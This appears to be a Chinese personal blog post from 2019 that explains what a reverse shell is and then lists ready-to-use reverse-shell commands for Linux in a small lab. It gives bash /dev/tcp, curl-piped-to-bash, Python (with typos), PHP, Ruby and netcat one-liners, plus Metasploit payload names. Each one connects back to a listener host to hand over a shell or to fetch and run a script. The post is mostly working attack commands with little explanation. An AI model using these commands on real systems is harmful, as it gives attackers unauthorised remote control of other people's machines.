Liunx反弹shell的几种方式

什么是反弹shell?

简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的web服务器:http(https)://ip:80,这是因为在服务器上面开启了80端口的监听,我们去访问它的时候,就会给我们建立连接。而现在所谓的反弹shell指的是反过来在我们自己的公网vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,然后我们就能通过反弹的shell去远程控制服务器了。


实验环境

kali 192.168.1.16
kali 192.168.1.13
方法1:使用linux命令反弹shell
反弹shell命令格式如下:

bash -i >& /dev/tcp/ip/port 0>&1

先在要反弹回来shell的16上面 监听随便一个未开放的端口 且防火墙允许访问的

然后再被攻击机 13 上面执行命令

看见成功反弹shell

 

 第二种思路 curl命令反弹shell  公网vps 放shell脚本 

kali 192.168.1.16
kali 192.168.1.13
windows 192.168.1.12

第一步 公网vps上面放bash脚本  

 

 第二步 被攻击机 执行命令

curl 192.168.1.12/bash |bash

 然后shell就反弹回来了

关于 反弹shell命令解析 看卿先生博客园(很细)

https://www.cnblogs.com/-qing-/p/11247720.html

 python反弹shell

import socket,subprocess,os
s=scoket.socket(socket.AF_INET,socke.SOCK_STREAM) //socket.AF_INET:。另一个地址家族AF_INET6用于第6版因特网协议(IPv6)寻址 SOCK_STREAM建立tcp链接
s.connect(("192.168.1.12",7111))#你要回shell的机子
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

 

反弹shell

PHP反弹shell

<?php
$sock=fsockopen("192.168.43.151",7777);//自己的外网ip,端口任意
exec("/bin/sh -i <&3 >&3 2>&3");
?>

ruby反弹shell

 

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.43.151","7777");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

 

 

 

 

 下面是直接用的msf反弹

java反弹

直接贴msf了

use payload/java/shell/reverse_tcp

 

lua反弹

use payload/cmd/unix/reverse_lua

 

 NC反弹

 

nc -e /bin/bash 192.168.1.16 7111

 

 

 

 

posted @ 2019-08-23 11:16  yourse1f  阅读(2902)  评论(0编辑  收藏  举报